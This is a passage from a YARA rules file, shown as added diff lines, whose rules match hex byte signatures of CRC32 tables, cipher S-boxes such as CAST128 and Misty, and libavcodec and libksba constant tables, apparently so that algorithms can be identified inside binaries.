+	$a0 = { d268bad34d1954fcbc932f71cdb9749c510253f56bb8d3686fbdd26b29644dd75d0d50f08a26ace90e838d8ac679bfdcddad7090550752f652c89ab32d614cd48f65ea2373a6d56266f197a463b2d16eccff3355590851f3712a5beda204a6f75f81de7f3d7548d89a32a8e55ec799b64b90db70c8fa3256e651b7c4d72bfc19ab48e33842dc9ebf7eef91ae56cd9bb0af4de23bd66dbbd0195841c3a5cb6eb2ae0ba5f20bc0cb40b1da6bbd6efb95a2be1fa1feeb18f308fe4fb1ce080a020617dbcc4937f3c45174691d275044143c2be8c35891f263a54f95da7369345de7613e5fe1578bdc79e9947d8713decd4ae19e7f81752f5aeeadc16cb46d315ce4fb0cf70498be266adb24ff1c937eed2a876fe8254ed39dbaa1ce6fb1028c8e8f647d192bba1aa0fde717f00d1e9789863c330f111c1b07098629afeccb30fb10202808185441153f34390d171014040c040501038de964ac5b84df7cc5b3769af980798b538edd7af4c93d47584e163afcc33f41dceb3759a9c46db7e0d83848de67b9d6d1a27395836ae926d4e1355f491c55ffd9a87193f18a7b8d0a868c89d5a772961a928885ff09f607a8822a7ef8c63e42653b5ee29cbb2769054346ca303c0c1489ec65afbdd568b899f861a30c0f030523e2c15e411657f97fa9d667439ad9767d2558e8479fd87585e366aa7bacd764e8d23a4e07cfc845f0cc3c44cf35fa1362f496a7a601a7f45ac298b5977bec29da62b8d53bfcc754822caeefb9d069bb317a4bdd963dabe09e37a9e681e667a928220a1e014647c9ef1df20bee5bb5c288aa2266b356e5329f71ee2fc27cbedfac872b7d3ebf819e485a123636b583986c771b2d38360e128caf2365f306f502094c45cf84a521631fd1ce4f397049dbb09c2c74c33af916bf59e637e254b6c7a08828785c4b173932b0829b68721a2e169d8b80df21fe1f12988a83242d091b03cac94626a18794256b4ed2a342e13eb8962e72b753e431a747e03d8b60eb207aea90adaa0ea4f178661e222eab85929dfd60a00000000094b1256ff703f401e312f10e6afe94a12c270b1dbb5ce734c9bc759f9b74ef2cd0e4345cc4f5315377a3d46167b7d06d22a48697e59b7e828e23adead32efd1aa48d297bc0f03050ecd73b4d46d99fbcc73ff8153ff9c6574c5f1335181e060a1411050f33f6c55244551133c1b67799ed917c84f58f7a8efd857888d8ee365a706c1c24e4dd394b792059eb60781828451356faf645b3c8fa4ab0cd90b4246c80a02060f240b2cb72e092abb615a3f827e7c05d0d4944cc95f762a640501030ea5eb4c12aae8491115243c576e593a82fedc25b357f4adece73bdda06898f8cb4992d77ca76bcd94ad69cb9b5df6abe1d5d40c01bd4cf4cb210a2fb3aba809d216e4fd17c631f210fc5ca439238aae3155742c6 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xa00ae278__32_lil_refl_True_
+{
+strings:
+	$a0 = { 000000006513381dc186fe06a495c61b820dfd0de71ec510438b030b26983b16041bfa1b6108c206c59d041da08e3c0086160716e3053f0b4790f9102283c10d03967a0b66854216c210840da703bc10819b8706e488bf1b401d7900250e411d078d8010629eb80dc60b7e16a318460b85807d1de09345004406831b2115bb06062cf516633fcd0bc7aa0b10a2b9330d8421081be132300645a7f61d20b4ce0002370f0d67243710c3b1f10ba6a2c916803af200e529ca1d41bc0c0624af341b05ba8f1d60a9b700c43c711ba12f490687b77210e2a44a0d46318c162322b40b01a1750664b24d1bc0278b00a534b31d83ac880be6bfb016422a760d27394e1007f8641162eb5c0cc67e9a17a36da20a85f5991ce0e6a1014473671a21605f0703e39e0a66f0a617c265600ca776581181ee6307e4fd5b1a40689d01257ba51c046e1e1a617d2607c5e8e01ca0fbd8018663e317e370db0a47e51d1122f6250c0075e4016566dc1cc1f31a07a4e0221a8278190ce76b211143fee70a26eddf1701d4910764c7a91ac0526f01a541571c83d96c0ae6ca5417425f920c274caa1105cf6b1c60dc5301c449951aa15aad0787c29611e2d1ae0c464468172357500a0242eb0c6751d311c3c4150aa6d72d17804f1601e55c2e1c41c9e80724dad01a06591117634a290ac7dfef11a2ccd70c8454ec1ae147d40745d2121c20c12a010550471e60437f03c4d6b918a1c58105875dba13e24e820e46db441523c87c08014bbd0564588518c0cd4303a5de7b1e83464008e655781542c0be0e27d3861306c63d1563d50508c740c313a253fb0e84cbc018e1d8f805454d3e1e205e060302ddc70e67ceff13c35b3908a648011580d03a03e5c3021e4156c4052445fc18037cb208666f8a15c2fa4c0ea7e9741381714f05e462771840f7b10325e4891e076748136274700ec6e1b615a3f28e08856ab51ee0798d0344ec4b1821ff730500eac80365f9f01ec16c3605a47f0e1882e7350ee7f40d134361cb082672f31504f1321861e20a05c577cc1ea064f40386fccf15e3eff708477a31132269090e02a8230f67bb1b12c32edd09a63de51480a5de02e5b6e61f412320042430181906b3d91463a0e109c7352712a2261f0f84be2419e1ad1c044538da1f202be202013e5904642d6119c0b8a702a5ab9f1f8333a409e6209c1442b55a0f27a662120525a31f60369b02c4a35d19a1b0650487285e12e23b660f46aea01423bd98090484d6196197ee04c502281fa011100286892b14e39a1309470fd512221ced0f009f2c02658c141fc119d204a40aea198292d10fe781e91243142f09260717140712ac126201940fc6945214a3876a09851f511fe00c69024499af19218a970403095609661a6e14c28fa80fa79c90128104ab04e41793194082550225916d1f }
+
+condition:
+	$a0
+}
+
+	
+rule ima_adpcm_step_table__16_lil_178_
+{
+strings:
+	$a0 = { 0700080009000a000b000c000d000e001000110013001500170019001c001f002200250029002d00320037003c00420049005000580061006b00760082008f009d00ad00be00d100e600fd0017013301510173019801c101ee01200256029202d4021c036c03c30324048e04020583051006ab0656071208e008c309bd0ad00bff0c4c0eba0f4c110713ee1406175419dc1ba51eb6211525ca28df2c5b314b36b93bb24144487e4f71572f60ce696274ff7f }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_v1_p0__8_byt_16_
+{
+strings:
+	$a0 = { 0f0e0a010b05080d090302070006040c }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x6b6b51f4__32_big_refl_False_
+{
+strings:
+	$a0 = { 000000006b6b51f4d6d6a3e8bdbdf21cc6c61624adad47d01010b5cc7b7be438e6e77dbc8d8c2c483031de545b5a8fa020216b984b4a3a6cf6f7c8709d9c9984a6a5aa8ccdcefb78707309641b1858906063bca80b08ed5cb6b51f40ddde4eb44042d7302b2986c4969474d8fdff252c8684c114edef90e0505262fc3b393308262004ec4d4b5518f0f6a7049b9df6f0e0e612c88b8d433c3630b1205d5be0d4c0c77950abac28a41611dab87d7a8b4c06016f746d6a3e80d0d7cc9cbbbc9d688085ae60ebeeff9456530d883d385c7c4643b8442d28e9b090951bacfbfe4a586662d3dc0d098228b0b47034dbdf21c0a0a4c5f8cbcf940c767266101d1937e44c4009d8272b582c9a96aa30f1fdfbc48a861ffce1ed4e085c50bc14373bede0aaa77464c1cc25907c71d78c171a86786c616240070a33b4bab7c1a8d1dc905ceae5a354818ef2a03c3300bc575851482c23b5704748e484faf51698919e476c0c02dee867698f1cdad47d00b1bf2cf4cac4c8cca1af99381c126b2477793ad06a600d34010b5cc0bcb6aedcd7ddff28aca61b10c7cd4ae47a70b8f8111be90c8c877088e7ec217c5a51d360313a82944a4166ac212a37589c97c544f7fc94b0ccc5a7b8a7aef64c1a130450717855a40a03b19c6168e068dcd51274b7be43802a22da0441498bf0fcf479ec979f2818ece4cc20878f9dd43a326fc851593e3c988013b0f3eb42444e56b058253de1ac5e460594352d54608890a67ce3fbf7887e676e0c150c3ff8a8b1cde4c3da9c10b8a17828d3ca29dc6e77dbc0051c8a343e25b93c554ee8c8e8f31ad483984b20f8e3af189388feec2e350cf0455e5d04d8c2c480b3a995740e146768657f369c1e04d2a4756f8350c8d2714ca3b920b8bea0175cd5cb46a86876b4b4031de54078660178130d508caeb0a290c5dbf36458476ae0332c3b148e91c908e5fa98fc9e817cc4f5ea2d304857df2c233c8ed81805bdd0736eec24ced31e38a5b84fccdec3abf4b5a8fa000815081c637e59e8fee2c06c9589919828346384435f32703824d648534f87bceef275a085992454d4c01a68bfab4b9c0216b980697de87412060c4c796d5db8c4d0afa4afbbfe50322767d4594c3620e4f1c43c8f9a95c8f4e171f09f8a20042237d218495c83ec7265b0e4190ee110a4b3130ccfd842f8b4a3a6c0dfc8f73462750528091e54dc9482cd58ffe99cac42546eb0293f3f445244db7c392f8a8884927894eff92960f2e01e84998b4f702436bd6c4f5dec98342608a05f4d5954e2f0ab48899bfabc140763387f6c32ccc2d1c0d0a9ba9124d2c1751cb9aa24e80417d6f46f7c87005445b4083f2ee5fc829317e0e9f846149283a22cf9e8f3d8445501c42f3e5030b2a2c9b4d9c9984064746a5c0f1f3ba87464df901f0f8e64a2b27c78c9d92d8c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale5__flt64___64_big_248_
+{
+strings:
+	$a0 = { 3fefdea1000000033fef99be800000033fef51ba200000043fef0630dffffffe3feeb6a9e00000023fee628f5ffffffd3fee0924e00000023feda976000000003fed423e000000043fecd1bd1fffffff3fec556ae00000003febc95fe00000023feb2700400000043fea6155e00000033fe956b2fffffffd3fe6a09e5ffffffc3fe38b28a00000003fe21cf3c00000003fe0ef069fffffff3fdfbe321ffffff83fddbeee800000053fdbd130a00000033fd9eacc000000053fd80397200000053fd613e0a00000063fd41335200000043fd1f6dd600000073fcf5e691fffffff3fca42febffffffe3fc429401ffffff03fb71561c0000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128_sbox7__32_big_1024_
+{
+strings:
+	$a0 = { 85e04019332bf567662dbfffcfc656932a8d7f6fab9bc912de6008a12028da1f0227bce74d64291618fac30050f18b822cb2cb11b232e75c4b3695f2b28707dea05fbcf6cd4181e9e150210ce24ef1bdb168c381fde4e7895c79b0d81e8bfd434d49500138be4341913cee1d92a79c3f089766bebaeeadf41286becfb6eacb192660c2007565bde464241f7a8248dca9c3b3ad66281360860bd8dfa8356d1cf2107789beb3b2e9ce0502aa8f0bc0351e166bf52aeb12ff82e3486911d34d75164e7b3aff5f43671b9cf6e0374981ac83334266ce8c9341b7d0d854c0cb3a6c8847bc28294725ba37a66ad22b7ad61f1e0c5cbafa4437f107b6e7996242d2d8160a961288e1a5c06e13749e6772fc081ab1d139f7f9583745cf19df58bec3f756c06eba3007211b2445c28829c95e317fbc8ec51138bc46e9c6e6fa14bae8584aad4ebc46468f508b7829435ff124183b821dba9faff60ff4ea2c4e6d16e3926492544a8b009b4fc3aba68ced9ac96f7806a5b79ab2856e6e1aec3ca9be8386880e0804e955f1be56e7e5363bb3a1f25df7debb8561fe033c167462333c034c28da6d0c7479aac56c3ce4e1ad51f0c80298f8f35a1626a49feed82b291d382fe30c4fb99abb3257783ec6d97b6e77a6a9cb658b5cd45230c72bd1408b60c03eb7b9068d78a33754f4f430c87dc8a71302b96d8c32ebd4e7bebe8b9d2d7979fb06e72253088b75cf7711ef8da4e083c8588d6b786f5a6317a6fa5cf7a05dda0033f28ebfb0f5b9c310a0eac28008b9767aa3d9d2b079d34217021a718d9ac6336a2711fd60438050e3069908a83d7fedc4826d2bef4eeb8476488dcf2536c9d56628e74e41c2610aca3d49a9cfbae3b9dfb65f8de692aeaf643ac7d5e69ea80509f22b017da4173f70dd1e16c315e0d7f950b1b8872b9f4fd5625aba826a0179622ec01b9c15488aa9d716e74040055a2c93d29a22e32dbf9a058745b93453dc1ed699296e496cff6f1c9f4986dfe2ed07b87242d119de7eae053e561a15ad6f8c66626c1c7154c24cea082b2a93eb293917dcb0f058d4f2ae9ea294fb52cf564c9883fe662ec40581763953c301d6692ed3a0c108a1e7160ee4f2dfa6693ed285749046984c2b0edd4f7576565d393378a132234f3d321c5dc3f5e1944b269301c79f022f3c997e7e5e4f95043ffafbbd76f7ad0e296693f43d1fce6fc61e45bed3b5ab34f72bf9b71b0434c04e72b5675592a33db5229301cfd2a87f60aeb7671814386b30bcc33d38a0c07dfd1606f2c363519b589dd3905479f8e61cb8d64797fd61a9ea7759f42d57539d569a58cfe84e63ad462e1b786580f87ef381791491da55f440a230f3d1988f35b6e318d23ffa50bc3d40f021c3c0bdae4958c24c518f36b284b1d3700fedce83878ddadaf2a279c794e01be890716f4b954b8aa3 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_eac3_gaq_remap_2_4_a__16_lil_36_
+{
+strings:
+	$a0 = { 55D5B7ED25C966E644C419E311C286E104C1C2E081C060E040C030E020C018E010C00CE0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_huffcode6__8_byt_31_
+{
+strings:
+	$a0 = { 000203040506071415161718193435363738393a3b78797a7b7c7d7e7f0809 }
+
+condition:
+	$a0
+}
+
+	
+rule libskba_asn1_yycheck__16_big_404_
+{
+strings:
+	$a0 = { 000C00290041002D007B000400050004007F0005003400040005009C00380039003A003B003C003D003E00040005000800080032000500080005001D001E0038000600120061000400360012000000040005006800100005000D000E000F00BE0033001F002F003000370031006000220037001600170033002500310037003700310031006500040031003600690020003700360003008A003300C4005A00C600370090002F0030007C000500030007000500090007000B000C002100330026003300110037001300370015001300330018001900320037001C00040005001D001E009900050023002400040005002700280029002A002B002C002D002E000500050007000500090034000B000C000300030014003600110098001300360015000A000A0018001900140036001C0031001A00360004000300310023002400080005002700280029002A002B002C002D002E00B500360012001B000500120004003800350005003200310036000400350004003100040032005C00B000320032003200320038003800A3008B00200087FFFF00A7 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0x04C11DB7__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000963007772c610eeeba51099919c46d078ff46a7035a563e9a395649e3288db0ea4b8dc791ee9d5e088d9d2972b4cb609bd7cb17e072db8e7911dbf906410b71df220b06a4871b9f3de41be847dd4da1aebe4dd6d51b5d4f4c785d38356986c13c0a86b647af962fdecc9658a4f5c0114d96c0663633d0ffaf50d088dc8206e3b5e10694ce44160d5727167a2d1e4033c47d4044bfd850dd26bb50aa5faa8b5356c98b242d6c9bbdb40f9bcace36cd832755cdf45cf0dd6dc593dd1abac30d9263a00de518051d7c81661d0bfb5f4b42123c4b3569995bacf0fa5bdb89eb802280888055fb2d90cc624e90bb1877c6f2f114c6858ab1d61c13d2d66b69041dc760671db01bc20d2982a10d5ef8985b1711fb5b606a5e4bf9f33d4b8e8a2c9077834f9000f8ea8099618980ee1bb0d6a7f2d3d6d08976c6491015c63e6f4516b6b62616c1cd83065854e0062f2ed95066c7ba5011bc1f4088257c40ff5c6d9b06550e9b712eab8be8b7c88b9fcdf1ddd62492dda15f37cd38c654cd4fb5861b24dce51b53a7400bca3e230bbd441a5df4ad795d83d6dc4d1a4fbf4d6d36ae96943fcd96e34468867add0b860da732d0444e51d03335f4c0aaac97c0ddd3c710550aa41022710100bbe86200cc925b56857b3856f2009d466b99fe461ce0ef9de5e98c9d9292298d0b0b4a8d7c7173db359810db42e3b5cbdb7ad6cbac02083b8edb6b3bf9a0ce2b6039ad2b1743947d5eaaf77d29d1526db048316dc73120b63e3843b64943e6a6d0da85a6a7a0bcf0ee49dff099327ae000ab19e077d44930ff0d2a3088768f2011efec206695d5762f7cb67658071366c19e7066b6e761bd4fee02bd3895a7ada10cc4add676fdfb9f9f9efbe8e43beb717d58eb060e8a3d6d67e93d1a1c4c2d83852f2df4ff167bbd16757bca6dd06b53f4b36b248da2b0dd84c1b0aaff64a0336607a0441c3ef60df55df67a8ef8e6e3179be69468cb361cb1a8366bca0d26f2536e2685295770ccc03470bbbb91602222f260555be3bbac5280bbdb2925ab42b046ab35ca7ffd7c231cfd0b58b9ed92c1daede5bb0c2649b26f263ec9ca36a750a936d02a906099c3f360eeb8567077213570005824abf95147ab8e2ae2bb17b381bb60c9b8ed2920dbed5e5b7efdc7c21dfdb0bd4d2d38642e2d4f1f8b3dd686e83da1fcd16be815b26b9f6e177b06f7747b718e65a0888706a0fffca3b06665c0b0111ff9e658f69ae62f8d3ff6b6145cf6c1678e20aa0eed20dd75483044ec2b30339612667a7f71660d04d476949db776e3e4a6ad1aedc5ad6d9660bdf40f03bd83753aebca9c59ebbde7fcfb247e9ffb5301cf2bdbd8ac2baca3093b353a6a3b4240536d0ba9306d7cd2957de54bf67d9232e7a66b3b84a61c4021b685d942b6f2a37be0bb4a18e0cc31bdf055a8def022d }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_s7__32_big_512_
+{
+strings:
+	$a0 = { 0000001b00000032000000330000005a0000003b0000001000000017000000540000005b0000001a00000072000000730000006b0000002c00000066000000490000001f00000024000000130000006c000000370000002e0000003f0000004a0000005d0000000f000000400000005600000025000000510000001c000000040000000b00000046000000200000000d0000007b0000003500000044000000420000002b0000001e00000041000000140000004b00000079000000150000006f0000000e000000550000000900000036000000740000000c0000006700000053000000280000000a0000007e00000038000000020000000700000060000000290000001900000012000000650000002f000000300000003900000008000000680000005f000000780000002a0000004c0000006400000045000000750000003d000000590000004800000003000000570000007c0000004f000000620000003c0000001d000000210000005e000000270000006a000000700000004d0000003a000000010000006d0000006e0000006300000018000000770000002300000005000000260000007600000000000000310000002d0000007a0000007f00000061000000500000002200000011000000060000004700000016000000520000004e000000710000003e0000006900000043000000340000005c000000580000007d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap7__16_lil_6144_
+{
+strings:
+	$a0 = { 4BAD855596284E35DE2927DC09A8FFDF98471BE6AE63A0D5901A42CA22CC92574B3936AE2B091429650481F2C115006A27E64B2E34A099598A4F7DE8F8AAB92961B353C5E2DEDFF747F5EC21E1EC5B6C821D47D104FC9C0946FC92128DFD10C00AB3395A4B008CCAACF53C08D10FC8F4DB1695EE86561031C8AC17BD26FDFB1C76D2E5D6442C00072A68DE5B97B315FE5DBA77BEDACACBC7F3A960F64304B1E8D9E0AFBD30B055AAD447B1FB8D071E34C9BBC2467658C14312D9FF456247BA02CC05494F86E96D984D1309A9D5F5EB112EE920483F22F8F513F5BEF9D1541B0CAD9B980CADB5551271ECAC17B40709C573F72C25EEFDBD50CAED93DFCBA849DDE109A8D36415E603545644EC73069FF507120F097751FAF3FEF209109E34FD0B55008943182860C6D6005A0003995FB668B42C4B16D8B526F5D911504DE6B9E44B0B1EFD5F500CC27FA6D61A4C0047012822B3CD5FA6BCF620B4D5D9AACD373F5C52ED0EED0220CA85C1DF47570903BB1C4C7EE88F05D62DD30F5A4BC91A1FB3B0EB262646479F094C490CEDABFD2A4C2B0578DCCCFEB0FBE5F37D9BCFC2F4621A124B0AA74CB0F617E1142E8BDBFCC8520A55679DAD8ED763F951F90F5679543C2D7DA6D3EF810016E8D60D9303FBFEEFFF81FEA006301A6FFA66515903C0EE8F0550C49ADE3DDA5A14371658EE9BFD5DD2F21586106B02A9039DECEAC830BD06E5C0E824C51FFEBBE3D2C5BC49A954C69B5E0B7704B9FE36FE1DFC48DACDFCBC9EF40A014F3B04A9FB9EF104F9DCB3C60335037D1C01AB262A6DE403A545F9E6FEABD4AA002AAE028F47311246810EE5F9750305003402E417A858C208D9E4F7260CE8F210B86887F1B807C9FBF6F56BFD23E194F5A6C43A451711B2EFD3D4CD0216A81A06DC2FFBE69E47D717471B441713477B26FA14345C33E557E6C2FFCC552F3455FDC90E7808D1000FF299FBF4B2F8F91C05DDFCF5F3B13E21CAFBF3C610A15CF1D8D72600C28632B1A3C354FA253559A02FF33A9D15E512C3083308DB04F90F8C129C32A70F5CF6190DECF38B228042EA10EF17AD152124DA2BB06F8EDA87DDEC00F103C7013CFCAD1A5A4B06FCC8001D0742024C14BD038428020D00CE81FF32F4FFDF23C72D5620171D04E62A56651EA012A57FD17BE58B58FED46816070A995CF3D7F1F277EFAEEABB50A5D5EBF1DDEFE4F1DF11C3FCA2FEB1FC19F37B0D1AE3ACD2CF0BC701800CB5DA820C93A6B02B9E98F3C8EBEF163CD7375DD567B0DF0EF8D42456223820C4CBE16DE7C9BAE8F9102FA3B245FEFDE776EF60FFAB206E58872EFD4A9704FE1C6DD9D8EF6012B8FF1CE290FF4DD162F3276ACA0C4B174D1D85BD6203949CE10245072907E607500993129FEB581DFB0C9B0AF90BBAF997103502FD15C1096346C8ECEFF400BA82E07A3D06FC5808EA0BE5B322428B7412D8313BAED376003C9B3FCAD83B2CFE28ED601359EF27069FD6694CF5DF7FFA05FD8DFBA1FD800565F769D3E5070CE7D8F5C70263FE31F628FF41F29591B70692C79A425D36BB345E9B07C11C4BAD1CF3CFAA0231F139FF9FEF0A51DDC2552CE416C8FC0EAC26F2FDFF57F989F0FD23553CACF8DC0755B3643F13EDCDF46BF146E351FF69B1A62B0DF2F59FF44CFE19D30372FD3C55FAE211E6F1D556DFB73CEB393946DCE3AFF2720778BCC50D95F079FA12F5F04422084CE669C407BA3905EA3BA6524218E225333BA69F15A861F034F9AFFD47049DE1E261E115A75350FE86F90EE562FA8AC7E1E4BC0295D017FD85A1C2578F18D30CFE2A040FF04ABD391AA8AA3B431508F536FCF1F2B90C84F1881293DF1E5920D81A5F16AE864DDB034AD17BE7420F0BB30433B7F9D1482A1DD798EBA7B13FDE07DF2A704681E42F121EC63349AD3D10055E246FF94B3902F3A767B3D160161D175834242744F7809FCD06B9E5973107AAF00F4A15C3F5B1249752AE9AA6F31FF6C050CE498DC94E1BBCDFC33DF6A2AF2BB9CA5C2EAD3E460AB94714D83D0358030EFC9D004038BAED211416CCD694ECD46D54F82B2D44B41D4A331CFE0700D4043D027610C815F7F394037CDC050502DDA104E58F53548F5CAC4ABBF436C80ADF765BEFE7B232F50B79DBBC0802F450E354B19C164602D9FD67F03B01A3E120204E924FCFC63503C4054B70AFF332D1B4C10E4FFF5D1F17FC94452A1474E319EF50B994FDBAFA543AA4393BFBEDCDB6C5DDFDF569BA08AC06CC0A2815321FB59D390B340E980FE0149E270B5386040315FC01EED62201B1F95A04D560BF40B09DD6FEF0F4ADFB00E882F891E165F414A5B00F292AA5430AEF0AAEC9F272EE31FF21D909F20B1F820468E2B51F21C95642A7986C94C4C4E03E34BE4ADD58A3223E5A613016AEF8A4018400750006FE92B43AFF9C01C9FEF0028EF88D0FF8E1B640A5B47EC671FE27FD21F19CEF95CFD71D280D1A098423865CCED757F9B4F3240ACEE00A3939EDF340791FC905310035432561321D98B4FFFD812E2A09D415250D39ECCCAA6A2C902A11130501BA126150F51377E88FE00FFABD1F5CC69F50BAC5855DBEF1A33065051D0EEF213EA2F012461A932966278162B99DD7FBA11999365F0BE95451403E9A10F90F0A6AB360BED80B171AA43A0ABA0ADFCEAB1996202E780D64FCD7C191FB06147BAF281EB20837443A150E719044DE04FE3C21D22A607DBBC80C8F0C1E46DF0A2EFD70A75B17D2E990F3199AB265B719E60C564F1DF265F544FE31FAF60560AF2EAA51D03F9B9F22F4FBE0453A021AC1892007F6AB3B8BF5DE26A9F85D4026CEB18E88FF53F7DB0061006D012300F60432FDC8057FF58A0799E268072E2272073B476CCEE2E76BF1913566D9A8C1A0FA16E498D630215F3EA8DD6C1DD74FE10B6FCB0804B8969B16986112EEE4DF96DB20E8A5BC916470BA3A1BA80E72028EFF8208611102ED8E1BE4EA8212F5F43A1375FDFB4976D950035E07B0FEDEEA421CDC4F91DAA8FD0D03EEB398CEEA198605C201B9F27EBE632B903386EA9F543FF3FB12B7E86A1DABD5B66D6E289BCD6364286481FD5F018B044B49A6EA11C56FFF9FFA73C75D6A69857380BF53B2F43C3C87497056C64B375813354ED6D629E1136CED8D03E8AE6CCD4CAFF21CA20A630D412DAFFBC647134D4EDAAA57B24CD8FE72E5ABC66354544D97536AB4B3E2666358338C212E9D140C86D6A051212402F30407D5FCA905220C8C12292F4AC810AFC33714EF129B6BE963ADF4EB3A293CC97AA9180BD6FDBD63F044263AAEAD9B09366266DB04F9C2CD12E92D9BF1D42A1A33034928A600BD6B0B02650044B4550DA625400026034AF5F5B9F0F52259692166049C0B633B00075A63A0E98FBC75FA44062E11BC2CC306EB5CF0EB111263D64D6DA92632F6E0D67F92B70B06FAC0FCC2FC83D421CFBE56B5E3E6A33EAB27427CAA45077ADAD824524A25282C25BF68DA07B1EC88DCAB155EF7BE373CC48CB41E070EEDF1FC01DDFCF3A8B183F3282016F5A8BAFC339D0C21FC33D04BE64B28B0DAD40858AFA8E499157FE2BEE29AD7E6D7390E174CACE867B576B705320305BCEF6610C7903EF64A07AF3ECA6803CD54E7D903C3F96DFE70353919EE61F4691AAF6AB902F9669E411746FCE86760A1E9C3D460A10790FBBB000FF7D930FEAE78FC94470A53620A04E8333F0457D4FD6A0839E87E36AE9BBF93D10F45ED34AC6967EB4B5CDC7F032F0148A9BF9976E8996072A6BADC3CC892C1B45CBDA63424FFF02A73A355BBE78F06F5F7A0FB4DFE4A26CDF0473040EFE5B5384DAAFFA309C60703FC16EBFA51B1DD2FEBF6A386ED710A19ECE515EBEDCE4AB5651DD0CC03CA1AC7112D6D47F020F7BB1744F383EC8BFEDDF96EF1A8E340CD8CDD0BEC0E5ABE139803370AE81E47E3D7ECDA4E06FF4E15440C101BDDB6FDF7C5D7ECEE984C0F136BFDA3F8E03965DE99B2F71726AD1C3757D151F79A13742ED558960180CCCBF538CC5FA83ECF44DFAA42B3621FF7C013AAFE9100D120EDBAA84A772903B4BB425551BCE90A30029C97280C1EC611A33DBA434DB460EDB604D5E1542AE49551D3B31A10F9EE097F0C5A11694481F16EFCE0517ABE4AE94F2BBAFFB159E90C670B701840ED1AAE62F324175DBF8708AD0A760DF6A453E83EFFE4C925D5204C05047311B4E8C4B5EF0599FE5703D3F949E23656C4D2D0D8CE4284CFF909E410E45777168A2FD99D4C4610E79C049E049625A65BE9DED8EE93F5D61D3DBE79EAB9F4FBD56DAE4E1C1D048F0A86AF7EE25C1DC4E1EC16BE508D55C901793A07BB6FD1130EC5F97FF763FFD5FF5D02D109FA221F291F581CC157C1721757138B1A02ED80A8A149A61D63F9909FB4F25937BE04D2EEF9E52AE59DD8EC9F2524E4285745BCE1930056E743113B3F53BFE9EFCE10C91D2115E70CAF0A221D42B232F78AF1E3F76954163A01313FE81CF94612DC2D2B0B291B7F07E1F0C20DA3AA5BF62BD7CD490AD6AF0E31D8FEEC9DF559BA26FB8F3A87245E2EDBF910ED15582525F095EE297351B7992ABAFEE390FAD9B3CA3106203CF85B07FE6DB2FCBDE3F900E900E0E39D028DFE7CF4C25AFDE9450C2001970C16FB9EFF2994DD433DA5F61341D4F2F521D3C0ECEE05B0EA9E029AB89F075E2867B2D7ED690160FF65FC2C49B837ADF3C3E200F34717E2F155526C1CD00DB91F08FA1ADFF40112B5F1491867F1FB173D4464B7206F07990735D164F53D0DE26815EE0B071600990471FDD104B0F7A41EE70607FD1120A6B40FEE8307A9FE4FFD36F23DF324F13FF58648C2F7AA07B7FA0341CD0AC2A54FFE29132E01D8323D3EEFE8830C1E10AD2B88EA1FF678FBBDFBBBE679FA3216F4FE470243DB8CB348187A06E103B5FF61F968EE0FF708F064E63FBF981284FC6AD57419875E85E803FFE8033F00AFFF8DFF82FECBFAA05E46FDC5ED0FF538B594FC3E8F8FAA853138E7A30CCF419952C49991F374FEE600784792E1C7CD59FD3FFA050008D7A52CCD649EFB79054AFEC60EFBE260689F44394BFE30BC1816FDF5316424F2A716EB5A0D38A762697F473404BC034D9554F49803EB00B90851003718B014DD3EB03913DFA8FBE0E62C4BC1264BF3FE0446FC955E01086DA6190A96F688EF4624CA37E9B26FF0D8F6040460B149460EDBE459A9BDB12110E506AFB20E07444557504A4A03755EE66131E9B2FFA90393FD0A4D74A156F8FAC5C8FFEE5801ECD5433C5DE8B362E692F7524445AC0C0DEDCDB9B06BDAAD43CB02D908E5EF14FEC4239332A76A49AD48E80FDB94CC1BA54AC9A8EF421B0200AA03BBCBC00D17A17659854CD1ECC2B2344DA2DB96CEEB0EAAEA67EFB5E48CE789C9C29D7D248128DAC9D0E51C58F9FDFB19504909ED1A318A391FD8C9FCC7468E01D2F98CFF95FEE9E46ACE18916821311B11FFD6F5A0ED03FCDF070914765CF1CE02E03C9E704863377F06E50E2C526CDA45ECF8F8C1FBD7A92341703AF324E20A5F42489A8AB4F2E65004A61689B937F9F960B128B1D4800367EBC1F88D2D0DF5E96045ACB0B24FA4A7BE6AE90B164C0A4C1344F92411CF9781CA4A29D99AFE3BD8B38266C3B7C806761F34169A51FB0F64B504C71CD76C435DC00B3AD1BA1AB59330CF95E3CE571ACEFDD003FFFE6B3056DE18A97DB2052B521ED70E4D2E1A94E7DE410429FA2D107AF7A09721FDFAFCBD05350CC235FE11497253491AD9C7BB1BDB66BB1EF6DDE672F132F9FF1047E5C3B29B2562D6531CC50D532AE1156E62CCA4C4D75ABA7702782DFC0772AE97FCCADED9FBC6C23BD6563AABC1E96D9414DD01E3FB860429FA92DD7CE97B9E8465E31EF2FB8EFFFCF6D9FAB0E6C0051F1317BA069BB51444FF2D06800C4943FA10555691B70C56F6D721024CD5E4085A92B61FEF3B1909642439503C3A1D52B918F21744A0450343DE2CE9DA1C0BFE0729A34EAB2C6DED47F56E5EC6DBA93B3BDF35E9B00BD0F4A017CFE2A72DE4B18DFC4ED108D9BBAAACEED695820DAA4C0005250A894D87143DEBBD4A4AC70EDDB535B8FAD248F744F92AA11A0EB8C0185FF9C408E0ED6C0FA6CD67EBCC4F2E294A100CFCEF4BBB5481F4E9B290EF28058D033FDD87247EE0C6F57BCDD667B30DE9259CA77720E71F13CCE815960CA50E1CFAA500CCFF3CFF660028A780DD870363D3BAC688FF6E17354D59342C0E4D145021C316D6FB0603D9FF5AFFC324FCDA6D2534CD885F4461D645BB0879ABFE4F6C12EAE34EF627254B0649AA9637F7FA48240DF7AF5A84F2A6D50B001825E10B0A14CEF01DADC3A7B63792D9E34EC3365B00D0BC61B7D403110035037800C2FDFD2FBBB4AE35F53F5FFF8917DCF2FA055BF0960988D5E1A26900DD13FCFE9E16B4FDE24A191049107F343439A3510A1D51FF2D3388F1C15A430F7A272BE8AB5B5414C3FA3F0676336FF35AF20D3B3DDF0ED272E